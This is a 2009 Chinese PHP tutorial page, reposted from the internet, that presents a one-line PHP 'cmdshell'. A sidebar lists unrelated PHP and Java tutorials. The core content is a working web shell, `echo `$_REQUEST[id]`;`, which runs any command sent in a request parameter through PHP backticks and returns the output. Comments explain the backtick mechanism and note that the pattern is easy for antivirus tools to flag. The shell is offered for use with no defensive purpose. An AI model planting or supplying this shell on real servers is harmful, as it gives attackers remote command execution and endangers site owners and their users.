当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)

PHP
PHP入门速成(1)
使用PHP的错误处理
用PHP实现文件上传
PHP入门速成(2)
PHP模板引擎SMARTY
PHP5/ZendEngine2的改进
PHP5中MVC结构学习
PHP数据库操作面向对象的优点
PHP中调用JAVA
JAVA/JSP学习系列之三
PHP的宝库目录--PEAR
JAVA/JSP学习系列之六
PHP开发大型项目的一点经验
JAVA/JSP学习系列之七
新版PHP将向Java靠拢
不用iconv库的gb2312与utf-8的互换函数
JAVA/JSP学习系列之二
JAVA/JSP学习系列之四
把从SQL中取出的数据转化成XMl格式
在PHP中利用XML技术构造远程服务(下)

PHP 中的 php一句话cmdshell新型 (非一句话木马)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 192 ::
收藏到网摘: n/a

php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
复制代码 代码如下:

<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>